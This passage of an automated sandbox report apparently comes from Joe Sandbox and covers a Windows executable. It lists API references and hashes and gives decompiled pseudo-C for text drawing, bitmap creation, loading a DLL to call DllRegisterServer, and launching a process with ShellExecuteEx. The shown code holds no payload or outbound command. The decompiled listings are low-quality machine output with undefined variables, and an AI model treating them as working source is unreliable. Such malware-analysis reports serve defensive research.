                                                          0x0044d24d
                                                          0x0044d265
                                                          0x0044d26f
                                                          0x0044d276
                                                          0x0044d28e
                                                          0x0044d297
                                                          0x0044d29f
                                                          0x00000000

                                                          APIs
                                                          • OffsetRect.USER32(?,00000001,00000001), ref: 0044D21D
                                                          • GetSysColor.USER32(00000014), ref: 0044D224
                                                          • SetTextColor.GDI32(00000000,00000000), ref: 0044D23C
                                                          • DrawTextA.USER32(00000000,00000000,00000000), ref: 0044D265
                                                          • OffsetRect.USER32(?,000000FF,000000FF), ref: 0044D26F
                                                          • GetSysColor.USER32(00000010), ref: 0044D276
                                                          • SetTextColor.GDI32(00000000,00000000), ref: 0044D28E
                                                          • DrawTextA.USER32(00000000,00000000,00000000), ref: 0044D2B7
                                                          • DrawTextA.USER32(00000000,00000000,00000000), ref: 0044D2E2
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Text$Color$Draw$OffsetRect
                                                          • String ID:
                                                          • API String ID: 1005981011-0
                                                          • Opcode ID: 49c7db1bf2a4956b9f66fbc1fb4b0300bc417fc3d2e2325f0c45fec8b88b1112
                                                          • Instruction ID: 45f888fbc3a0883b3cc6f89eee24c77fc9ee9234cf2cf3117d782b91a1622e0d
                                                          • Opcode Fuzzy Hash: 49c7db1bf2a4956b9f66fbc1fb4b0300bc417fc3d2e2325f0c45fec8b88b1112
                                                          • Instruction Fuzzy Hash: 2821CCB42015006FC710FF6ACD8AE8B7BDC9F09319B0145BAB958EB393C679DD448A68
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 50%
                                                          			E0041B884(intOrPtr* __eax, void* __ebx, intOrPtr* __ecx, intOrPtr* __edx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8) {
                                                          				intOrPtr* _v8;
                                                          				intOrPtr* _v12;
                                                          				signed int _v14;
                                                          				struct HWND__* _v20;
                                                          				intOrPtr _v24;
                                                          				intOrPtr _v28;
                                                          				void* _v32;
                                                          				intOrPtr _v36;
                                                          				signed int _v44;
                                                          				intOrPtr _v62;
                                                          				short _v64;
                                                          				void _v76;
                                                          				intOrPtr _t71;
                                                          				intOrPtr _t79;
                                                          				intOrPtr _t83;
                                                          				intOrPtr _t87;
                                                          				void* _t95;
                                                          				void* _t108;
                                                          				intOrPtr _t113;
                                                          				intOrPtr _t116;
                                                          				intOrPtr* _t123;
                                                          				intOrPtr* _t125;
                                                          				void* _t127;
                                                          				void* _t128;
                                                          				intOrPtr _t129;
                                                          				intOrPtr _t130;
                                                          
                                                          				_t117 = __edi;
                                                          				_t127 = _t128;
                                                          				_t129 = _t128 + 0xffffffb8;
                                                          				_push(__edi);
                                                          				_v12 = __ecx;
                                                          				_v8 = __edx;
                                                          				_t123 = __eax;
                                                          				_t108 =  &_v76 + 4;
                                                          				 *((intOrPtr*)( *__eax))();
                                                          				_v76 = _a8;
                                                          				if(_v64 != 1) {
                                                          					E0041B594();
                                                          				}
                                                          				_t132 = _v44;
                                                          				if(_v44 == 0) {
                                                          					_v44 = E0041B700(_v62);
                                                          				}
                                                          				_v14 = _v44 << 2;
                                                          				_v32 = E00406A40((_v14 & 0x0000ffff) + 0x28, _t108, _t117, _t132);
                                                          				 *[fs:ecx] = _t129;
                                                          				_t95 = _v32;
                                                          				memcpy(_t95,  &_v76, 0xa << 2);
                                                          				_t130 = _t129 + 0xc;
                                                          				_t125 = _t123;
                                                          				_t121 =  *_t125;
                                                          				 *((intOrPtr*)( *_t125))( *[fs:ecx], 0x41ba78, _t127);
                                                          				 *_v12 = E0041B720(_v32);
                                                          				_a4 = _a4 - (_v14 & 0x0000ffff) + 0x28;
                                                          				_t113 =  *((intOrPtr*)(_t95 + 0x14));
                                                          				if(_t113 != 0) {
                                                          					_t134 = _t113 - _a4;
                                                          					if(_t113 < _a4) {
                                                          						_a4 = _t113;
                                                          					}
                                                          				}
                                                          				_v28 = E00406A40(_a4, _t113, _t121, _t134);
                                                          				 *[fs:eax] = _t130;
                                                          				 *((intOrPtr*)( *_t125))( *[fs:eax], 0x41ba54, _t127);
                                                          				_v20 = GetFocus();
                                                          				_t71 = _v20;
                                                          				_push(_t71);
                                                          				L00406034();
                                                          				_v24 = _t71;
                                                          				if(_v24 == 0) {
                                                          					E0041B5AC();
                                                          				}
                                                          				_push(_t127);
                                                          				_push(0x41ba34);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t130;
                                                          				if( *_v12 == 0) {
                                                          					__eflags = 0;
                                                          					_v36 = 0;
                                                          				} else {
                                                          					_push(0);
                                                          					_push( *_v12);
                                                          					_t87 = _v24;
                                                          					_push(_t87);
                                                          					L00405E34();
                                                          					_v36 = _t87;
                                                          					_push(_v24);
                                                          					L00405DF4();
                                                          				}
                                                          				_push(_t127);
                                                          				_push(0x41ba12);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t130;
                                                          				_push(0);
                                                          				_push(_v32);
                                                          				_push(_v28);
                                                          				_push(4);
                                                          				_push(_v32);
                                                          				_t79 = _v24;
                                                          				_push(_t79);
                                                          				L00405CE4();
                                                          				 *_v8 = _t79;
                                                          				if( *_v8 == 0) {
                                                          					E0041B5AC();
                                                          				}
                                                          				_pop(_t116);
                                                          				 *[fs:eax] = _t116;
                                                          				_push(E0041BA19);
                                                          				if(_v36 == 0) {
                                                          					return 0;
                                                          				} else {
                                                          					_push(0);
                                                          					_push(_v36);
                                                          					_t83 = _v24;
                                                          					_push(_t83);
                                                          					L00405E34();
                                                          					return _t83;
                                                          				}
                                                          			}





























                                                          0x0041b884
                                                          0x0041b885
                                                          0x0041b887
                                                          0x0041b88c
                                                          0x0041b88d
                                                          0x0041b890
                                                          0x0041b893
                                                          0x0041b898
                                                          0x0041b8a4
                                                          0x0041b8a9
                                                          0x0041b8b1
                                                          0x0041b8b3
                                                          0x0041b8b3
                                                          0x0041b8b8
                                                          0x0041b8bc
                                                          0x0041b8c7
                                                          0x0041b8c7
                                                          0x0041b8d1
                                                          0x0041b8e1
                                                          0x0041b8ef
                                                          0x0041b8f2
                                                          0x0041b900
                                                          0x0041b900
                                                          0x0041b902
                                                          0x0041b90c
                                                          0x0041b90e
                                                          0x0041b91b
                                                          0x0041b926
                                                          0x0041b929
                                                          0x0041b92e
                                                          0x0041b930
                                                          0x0041b933
                                                          0x0041b935
                                                          0x0041b935
                                                          0x0041b933
                                                          0x0041b940
                                                          0x0041b94e
                                                          0x0041b95b
                                                          0x0041b962
                                                          0x0041b965
                                                          0x0041b968
                                                          0x0041b969
                                                          0x0041b96e
                                                          0x0041b975
                                                          0x0041b977
                                                          0x0041b977
                                                          0x0041b97e
                                                          0x0041b97f
                                                          0x0041b984
                                                          0x0041b987
                                                          0x0041b990
                                                          0x0041b9b1
                                                          0x0041b9b3
                                                          0x0041b992
                                                          0x0041b992
                                                          0x0041b999
                                                          0x0041b99a
                                                          0x0041b99d
                                                          0x0041b99e
                                                          0x0041b9a3
                                                          0x0041b9a9
                                                          0x0041b9aa
                                                          0x0041b9aa
                                                          0x0041b9b8
                                                          0x0041b9b9
                                                          0x0041b9be
                                                          0x0041b9c1
                                                          0x0041b9c4
                                                          0x0041b9c9
                                                          0x0041b9cd
                                                          0x0041b9ce
                                                          0x0041b9d3
                                                          0x0041b9d4
                                                          0x0041b9d7
                                                          0x0041b9d8
                                                          0x0041b9e0
                                                          0x0041b9e8
                                                          0x0041b9ea
                                                          0x0041b9ea
                                                          0x0041b9f1
                                                          0x0041b9f4
                                                          0x0041b9f7
                                                          0x0041ba00
                                                          0x0041ba11
                                                          0x0041ba02
                                                          0x0041ba02
                                                          0x0041ba07
                                                          0x0041ba08
                                                          0x0041ba0b
                                                          0x0041ba0c
                                                          0x00000000
                                                          0x0041ba0c

                                                          APIs
                                                          • GetFocus.USER32 ref: 0041B95D
                                                          • 72E5AC50.USER32(?), ref: 0041B969
                                                          • 72E5B410.GDI32(00000000,?,00000000,00000000,0041BA34,?,?), ref: 0041B99E
                                                          • 72E5B150.GDI32(00000000,00000000,?,00000000,00000000,0041BA34,?,?), ref: 0041B9AA
                                                          • 72E5A7F0.GDI32(00000000,?,00000004,?,?,00000000,00000000,0041BA12,?,00000000,0041BA34,?,?), ref: 0041B9D8
                                                          • 72E5B410.GDI32(00000000,00000000,00000000,0041BA19,?,?,00000000,00000000,0041BA12,?,00000000,0041BA34,?,?), ref: 0041BA0C
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: B410$B150Focus
                                                          • String ID: onG
                                                          • API String ID: 1979529269-2936850197
                                                          • Opcode ID: 33ec576b2753f52c0c80b264cd9955023d09ad76a9aa2f424206a0ebf7f86687
                                                          • Instruction ID: 0c5f43d94a76aef095475e707550d6e8f25822560241b095067cdff6047a1086
                                                          • Opcode Fuzzy Hash: 33ec576b2753f52c0c80b264cd9955023d09ad76a9aa2f424206a0ebf7f86687
                                                          • Instruction Fuzzy Hash: 97512A70A00208AFDF11DFA9C895AEEBBB9EF49704F11406AF504A7350D7799981CBA9
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 47%
                                                          			E0041BB54(intOrPtr* __eax, void* __ebx, intOrPtr* __ecx, intOrPtr* __edx, void* __edi, void* __esi, intOrPtr _a8) {
                                                          				intOrPtr* _v8;
                                                          				intOrPtr* _v12;
                                                          				signed int _v14;
                                                          				struct HWND__* _v20;
                                                          				intOrPtr _v24;
                                                          				intOrPtr _v28;
                                                          				intOrPtr* _v32;
                                                          				intOrPtr _v36;
                                                          				signed int _v40;
                                                          				intOrPtr _v42;
                                                          				short _v44;
                                                          				intOrPtr _v48;
                                                          				char _v52;
                                                          				intOrPtr* _t65;
                                                          				intOrPtr _t73;
                                                          				intOrPtr _t80;
                                                          				intOrPtr _t84;
                                                          				intOrPtr _t88;
                                                          				intOrPtr* _t94;
                                                          				void* _t104;
                                                          				signed int _t110;
                                                          				intOrPtr _t116;
                                                          				intOrPtr* _t121;
                                                          				void* _t124;
                                                          				void* _t125;
                                                          				intOrPtr _t126;
                                                          				signed int _t129;
                                                          
                                                          				_t124 = _t125;
                                                          				_t126 = _t125 + 0xffffffd0;
                                                          				_push(__edi);
                                                          				_v12 = __ecx;
                                                          				_v8 = __edx;
                                                          				_t121 = __eax;
                                                          				_t104 =  &_v52 + 4;
                                                          				 *((intOrPtr*)( *__eax))();
                                                          				_v52 = _a8;
                                                          				_t127 = _v44 - 1;
                                                          				if(_v44 != 1) {
                                                          					E0041B594();
                                                          				}
                                                          				_v14 = E0041B700(_v42) + _t53 * 2;
                                                          				_v32 = E00406A40((_v14 & 0x0000ffff) + 0xf, _t104, _v14 & 0x0000ffff, _t127);
                                                          				 *[fs:edx] = _t126;
                                                          				_t94 = _v32;
                                                          				 *_t94 = _v52;
                                                          				 *((intOrPtr*)(_t94 + 4)) = _v48;
                                                          				 *((intOrPtr*)(_t94 + 8)) = _v44;
                                                          				_t119 =  *_t121;
                                                          				 *((intOrPtr*)( *_t121))( *[fs:edx], 0x41bd45, _t124);
                                                          				 *_v12 = E0041BA88(_v32, _t94 + 0xc, _t127);
                                                          				_t65 = _t94;
                                                          				_t110 = ( *(_t65 + 4) & 0x0000ffff) * ( *(_t65 + 0xa) & 0x0000ffff) + 0x1f;
                                                          				if(_t110 < 0) {
                                                          					_t110 = _t110 + 0x1f;
                                                          					_t129 = _t110;
                                                          				}
                                                          				_v40 = (_t110 >> 5 << 2) * ( *(_t65 + 6) & 0x0000ffff);
                                                          				_v28 = E00406A40(_v40, (_t110 >> 5 << 2) * ( *(_t65 + 6) & 0x0000ffff), _t119, _t129);
                                                          				 *[fs:eax] = _t126;
                                                          				 *((intOrPtr*)( *_t121))( *[fs:eax], 0x41bd21, _t124);
                                                          				_v20 = GetFocus();
                                                          				_t73 = _v20;
                                                          				_push(_t73);
                                                          				L00406034();
                                                          				_v24 = _t73;
                                                          				if(_v24 == 0) {
                                                          					E0041B5AC();
                                                          				}
                                                          				_push(_t124);
                                                          				_push(0x41bd01);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t126;
                                                          				_v36 = 0;
                                                          				if( *_v12 != 0) {
                                                          					_push(0);
                                                          					_push( *_v12);
                                                          					_t88 = _v24;
                                                          					_push(_t88);
                                                          					L00405E34();
                                                          					_v36 = _t88;
                                                          					_push(_v24);
                                                          					L00405DF4();
                                                          				}
                                                          				_push(_t124);
                                                          				_push(0x41bcdf);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t126;
                                                          				_push(0);
                                                          				_push(_v32);
                                                          				_push(_v28);
                                                          				_push(4);
                                                          				_push(_t94);
                                                          				_t80 = _v24;
                                                          				_push(_t80);
                                                          				L00405CE4();
                                                          				 *_v8 = _t80;
                                                          				if( *_v8 == 0) {
                                                          					E0041B5AC();
                                                          				}
                                                          				_pop(_t116);
                                                          				 *[fs:eax] = _t116;
                                                          				_push(E0041BCE6);
                                                          				if(_v36 != 0) {
                                                          					_push(0);
                                                          					_push(_v36);
                                                          					_t84 = _v24;
                                                          					_push(_t84);
                                                          					L00405E34();
                                                          					return _t84;
                                                          				}
                                                          				return 0;
                                                          			}






























                                                          0x0041bb55
                                                          0x0041bb57
                                                          0x0041bb5c
                                                          0x0041bb5d
                                                          0x0041bb60
                                                          0x0041bb63
                                                          0x0041bb68
                                                          0x0041bb74
                                                          0x0041bb79
                                                          0x0041bb7c
                                                          0x0041bb81
                                                          0x0041bb83
                                                          0x0041bb83
                                                          0x0041bb94
                                                          0x0041bba6
                                                          0x0041bbb4
                                                          0x0041bbb7
                                                          0x0041bbbd
                                                          0x0041bbc2
                                                          0x0041bbc8
                                                          0x0041bbd2
                                                          0x0041bbd4
                                                          0x0041bbe1
                                                          0x0041bbe3
                                                          0x0041bbf0
                                                          0x0041bbf5
                                                          0x0041bbf7
                                                          0x0041bbf7
                                                          0x0041bbf7
                                                          0x0041bc07
                                                          0x0041bc12
                                                          0x0041bc20
                                                          0x0041bc2d
                                                          0x0041bc34
                                                          0x0041bc37
                                                          0x0041bc3a
                                                          0x0041bc3b
                                                          0x0041bc40
                                                          0x0041bc47
                                                          0x0041bc49
                                                          0x0041bc49
                                                          0x0041bc50
                                                          0x0041bc51
                                                          0x0041bc56
                                                          0x0041bc59
                                                          0x0041bc5e
                                                          0x0041bc67
                                                          0x0041bc69
                                                          0x0041bc70
                                                          0x0041bc71
                                                          0x0041bc74
                                                          0x0041bc75
                                                          0x0041bc7a
                                                          0x0041bc80
                                                          0x0041bc81
                                                          0x0041bc81
                                                          0x0041bc88
                                                          0x0041bc89
                                                          0x0041bc8e
                                                          0x0041bc91
                                                          0x0041bc94
                                                          0x0041bc99
                                                          0x0041bc9d
                                                          0x0041bc9e
                                                          0x0041bca0
                                                          0x0041bca1
                                                          0x0041bca4
                                                          0x0041bca5
                                                          0x0041bcad
                                                          0x0041bcb5
                                                          0x0041bcb7
                                                          0x0041bcb7
                                                          0x0041bcbe
                                                          0x0041bcc1
                                                          0x0041bcc4
                                                          0x0041bccd
                                                          0x0041bccf
                                                          0x0041bcd4
                                                          0x0041bcd5
                                                          0x0041bcd8
                                                          0x0041bcd9
                                                          0x00000000
                                                          0x0041bcd9
                                                          0x0041bcde

                                                          APIs
                                                          • GetFocus.USER32 ref: 0041BC2F
                                                          • 72E5AC50.USER32(?), ref: 0041BC3B
                                                          • 72E5B410.GDI32(00000000,?,00000000,00000000,0041BD01,?,?), ref: 0041BC75
                                                          • 72E5B150.GDI32(00000000,00000000,?,00000000,00000000,0041BD01,?,?), ref: 0041BC81
                                                          • 72E5A7F0.GDI32(00000000,?,00000004,?,?,00000000,00000000,0041BCDF,?,00000000,0041BD01,?,?), ref: 0041BCA5
                                                          • 72E5B410.GDI32(00000000,00000000,00000000,0041BCE6,?,?,00000000,00000000,0041BCDF,?,00000000,0041BD01,?,?), ref: 0041BCD9
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: B410$B150Focus
                                                          • String ID: onG
                                                          • API String ID: 1979529269-2936850197
                                                          • Opcode ID: 883bbf920345429745a6202467fc2a39e8bdf3c3a5e980705785ee1e2220fc60
                                                          • Instruction ID: 58a051dd7ec80f1c1874747c658f4fd01d735d844ca6ff3798a409370ca94f50
                                                          • Opcode Fuzzy Hash: 883bbf920345429745a6202467fc2a39e8bdf3c3a5e980705785ee1e2220fc60
                                                          • Instruction Fuzzy Hash: AC512974A002189FDB11DFA9C885AAEBBF9FF49704F11846AF504EB751D7389D40CBA4
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 61%
                                                          			E004541EC(void* __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi) {
                                                          				char _v8;
                                                          				char _v12;
                                                          				struct HICON__* _v16;
                                                          				int _v20;
                                                          				struct HINSTANCE__* _v24;
                                                          				char _v28;
                                                          				intOrPtr* _t35;
                                                          				void* _t38;
                                                          				void* _t54;
                                                          				int _t55;
                                                          				intOrPtr* _t56;
                                                          				intOrPtr _t64;
                                                          				void* _t68;
                                                          				void* _t70;
                                                          				intOrPtr* _t71;
                                                          				void* _t73;
                                                          				void* _t74;
                                                          				intOrPtr _t75;
                                                          
                                                          				_t58 = __ecx;
                                                          				_t73 = _t74;
                                                          				_t75 = _t74 + 0xffffffe8;
                                                          				_push(__ebx);
                                                          				_v28 = 0;
                                                          				_v8 = 0;
                                                          				_v12 = 0;
                                                          				_t54 = __ecx;
                                                          				_t68 = __edx;
                                                          				_t70 = __eax;
                                                          				_push(_t73);
                                                          				_push(0x454359);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t75;
                                                          				E00407460( &_v8);
                                                          				_v16 = SetCursor(LoadCursorA(0, 0x7f02));
                                                          				if(_t54 == 0) {
                                                          					_t55 = 0x8000;
                                                          				} else {
                                                          					_t55 = 0x8001;
                                                          				}
                                                          				_v20 = SetErrorMode(_t55);
                                                          				_push(_t73);
                                                          				_push(0x45432f);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t75;
                                                          				E0042D8E0( &_v28);
                                                          				E00407488(_v28);
                                                          				E0042C990(_t70, _t58,  &_v12);
                                                          				if(_v12 != 0) {
                                                          					E00407488(_v12);
                                                          				}
                                                          				_v24 = E0042E324(_t70, _t55, _t55);
                                                          				_t78 = _v24;
                                                          				if(_v24 == 0) {
                                                          					E00451B58("LoadLibrary", _t55, _t58, _t68, _t70, _t78);
                                                          				}
                                                          				_push(_t73);
                                                          				_push(0x454300);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t75;
                                                          				_push(_t68);
                                                          				_t35 = _v24;
                                                          				_push(_t35);
                                                          				L00405AA4();
                                                          				_t71 = _t35;
                                                          				_t56 = _t71;
                                                          				_t79 = _t71;
                                                          				if(_t71 == 0) {
                                                          					E00451B58("GetProcAddress", _t56, _t58, _t68, _t71, _t79);
                                                          				}
                                                          				_t57 =  *_t56();
                                                          				_t38 = E004063BC(_t36);
                                                          				_t80 = _t38;
                                                          				if(_t38 != 0) {
                                                          					E00403674( &_v28, _t68);
                                                          					E00451C00(_v28, _t57, _t57, _t68, _t71, _t80);
                                                          				}
                                                          				_pop(_t64);
                                                          				 *[fs:eax] = _t64;
                                                          				_push(E00454307);
                                                          				return FreeLibrary(_v24);
                                                          			}





















                                                          0x004541ec
                                                          0x004541ed
                                                          0x004541ef
                                                          0x004541f2
                                                          0x004541f7
                                                          0x004541fa
                                                          0x004541fd
                                                          0x00454200
                                                          0x00454202
                                                          0x00454204
                                                          0x00454208
                                                          0x00454209
                                                          0x0045420e
                                                          0x00454211
                                                          0x00454217
                                                          0x0045422e
                                                          0x00454233
                                                          0x0045423c
                                                          0x00454235
                                                          0x00454235
                                                          0x00454235
                                                          0x00454247
                                                          0x0045424c
                                                          0x0045424d
                                                          0x00454252
                                                          0x00454255
                                                          0x0045425b
                                                          0x00454263
                                                          0x0045426d
                                                          0x00454276
                                                          0x0045427b
                                                          0x0045427b
                                                          0x00454289
                                                          0x0045428c
                                                          0x00454290
                                                          0x00454297
                                                          0x00454297
                                                          0x0045429e
                                                          0x0045429f
                                                          0x004542a4
                                                          0x004542a7
                                                          0x004542aa
                                                          0x004542ab
                                                          0x004542ae
                                                          0x004542af
                                                          0x004542b4
                                                          0x004542b6
                                                          0x004542b8
                                                          0x004542ba
                                                          0x004542c1
                                                          0x004542c1
                                                          0x004542c8
                                                          0x004542cc
                                                          0x004542d1
                                                          0x004542d3
                                                          0x004542da
                                                          0x004542e4
                                                          0x004542e4
                                                          0x004542eb
                                                          0x004542ee
                                                          0x004542f1
                                                          0x004542ff

                                                          APIs
                                                            • Part of subcall function 00407460: GetCurrentDirectoryA.KERNEL32(00000104,?,DllRegisterServer,0045421C,00000000,00454359,?,?,00000000,0048D628), ref: 0040746F
                                                          • LoadCursorA.USER32 ref: 00454223
                                                          • SetCursor.USER32(00000000,00000000,00007F02,00000000,00454359,?,?,00000000,0048D628), ref: 00454229
                                                          • SetErrorMode.KERNEL32(00008000,00000000,00000000,00007F02,00000000,00454359,?,?,00000000,0048D628), ref: 00454242
                                                          • 6CAA5550.KERNEL32(00000000,?,00000000,00454300,?,00000000,0045432F,?,00008000,00000000,00000000,00007F02,00000000,00454359), ref: 004542AF
                                                          • FreeLibrary.KERNEL32(00000000,00454307,?,00008000,00000000,00000000,00007F02,00000000,00454359,?,?,00000000,0048D628), ref: 004542FA
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Cursor$A5550CurrentDirectoryErrorFreeLibraryLoadMode
                                                          • String ID: GetProcAddress$LoadLibrary
                                                          • API String ID: 2989592840-2209490600
                                                          • Opcode ID: f9791ef1bb24c076eed2a98132a87f05c2968c358a46d0c40c8d97672d147d67
                                                          • Instruction ID: 13bb7c330640200b9a328f67ca9048d3421235936be6379206705c47713615fa
                                                          • Opcode Fuzzy Hash: f9791ef1bb24c076eed2a98132a87f05c2968c358a46d0c40c8d97672d147d67
                                                          • Instruction Fuzzy Hash: B131C930F002049BCB11EBA6C842A5EBAB8EB49749F51447BFD04E7353D63C9D44CA6D
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 70%
                                                          			E00453738(intOrPtr __eax, void* __ebx, intOrPtr __ecx, void* __edx, void* __edi, void* __esi, DWORD* _a4, intOrPtr* _a8, intOrPtr _a12, char _a16, char _a20, char _a24) {
                                                          				intOrPtr _v8;
                                                          				intOrPtr _v12;
                                                          				void* _v16;
                                                          				intOrPtr _v44;
                                                          				intOrPtr _v48;
                                                          				intOrPtr _v52;
                                                          				intOrPtr _v56;
                                                          				intOrPtr _v60;
                                                          				intOrPtr _v68;
                                                          				char _v72;
                                                          				signed int _t41;
                                                          				void* _t42;
                                                          				void* _t61;
                                                          				intOrPtr _t71;
                                                          				intOrPtr* _t74;
                                                          				DWORD* _t76;
                                                          				void* _t79;
                                                          
                                                          				_v12 = __ecx;
                                                          				_t61 = __edx;
                                                          				_v8 = __eax;
                                                          				_t76 = _a4;
                                                          				_t74 = _a8;
                                                          				E00403870(_a24);
                                                          				_push(_t79);
                                                          				_push(0x453849);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t79 + 0xffffffbc;
                                                          				if(_a24 == 0) {
                                                          					E0042C990(_t61, __ecx,  &_a24);
                                                          				}
                                                          				E00402A64( &_v72, 0x3c);
                                                          				_v72 = 0x3c;
                                                          				_v68 = 0x540;
                                                          				_v60 = _v8;
                                                          				_v56 = E00403880(_t61);
                                                          				_v52 = E00403880(_v12);
                                                          				if(_a24 != 0) {
                                                          					_v48 = E00403880(_a24);
                                                          				}
                                                          				_v44 = _a12;
                                                          				_t41 =  &_v72;
                                                          				_push(_t41);
                                                          				L0042CD94();
                                                          				asm("sbb ebx, ebx");
                                                          				if( ~( ~_t41) != 0) {
                                                          					 *_t76 = 0x103;
                                                          					_t42 = _v16;
                                                          					if(_t42 != 0) {
                                                          						if(_a16 != 0) {
                                                          							WaitForInputIdle(_t42, 0xffffffff);
                                                          						}
                                                          						if(_a20 != 0) {
                                                          							do {
                                                          								if(_t74 != 0) {
                                                          									 *_t74();
                                                          								}
                                                          							} while (MsgWaitForMultipleObjects(1,  &_v16, 0, 0xffffffff, 0xff) == 1);
                                                          						}
                                                          						GetExitCodeProcess(_v16, _t76);
                                                          						CloseHandle(_v16);
                                                          					}
                                                          				} else {
                                                          					 *_t76 = GetLastError();
                                                          				}
                                                          				_pop(_t71);
                                                          				 *[fs:eax] = _t71;
                                                          				_push(E00453850);
                                                          				return E00403548( &_a24);
                                                          			}




















                                                          0x00453741
                                                          0x00453744
                                                          0x00453746
                                                          0x00453749
                                                          0x0045374c
                                                          0x00453752
                                                          0x00453759
                                                          0x0045375a
                                                          0x0045375f
                                                          0x00453762
                                                          0x00453769
                                                          0x00453770
                                                          0x00453770
                                                          0x0045377f
                                                          0x00453784
                                                          0x0045378b
                                                          0x00453795
                                                          0x0045379f
                                                          0x004537aa
                                                          0x004537b1
                                                          0x004537bb
                                                          0x004537bb
                                                          0x004537c1
                                                          0x004537c4
                                                          0x004537c7
                                                          0x004537c8
                                                          0x004537d1
                                                          0x004537d7
                                                          0x004537e2
                                                          0x004537e8
                                                          0x004537ed
                                                          0x004537f3
                                                          0x004537f8
                                                          0x004537f8
                                                          0x00453801
                                                          0x00453803
                                                          0x00453805
                                                          0x00453807
                                                          0x00453807
                                                          0x0045381d
                                                          0x00453803
                                                          0x00453825
                                                          0x0045382e
                                                          0x0045382e
                                                          0x004537d9
                                                          0x004537de
                                                          0x004537de
                                                          0x00453835
                                                          0x00453838
                                                          0x0045383b
                                                          0x00453848

                                                          APIs
                                                          • ShellExecuteEx.SHELL32(?), ref: 004537C8
                                                          • GetLastError.KERNEL32(00000000,00453849,?,?,?,00000001), ref: 004537D9
                                                          • WaitForInputIdle.USER32 ref: 004537F8
                                                          • MsgWaitForMultipleObjects.USER32 ref: 00453818
                                                          • GetExitCodeProcess.KERNEL32 ref: 00453825
                                                          • CloseHandle.KERNEL32(?,?,?,00000000,00453849,?,?,?,00000001), ref: 0045382E
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Wait$CloseCodeErrorExecuteExitHandleIdleInputLastMultipleObjectsProcessShell
                                                          • String ID: <
                                                          • API String ID: 35504260-4251816714
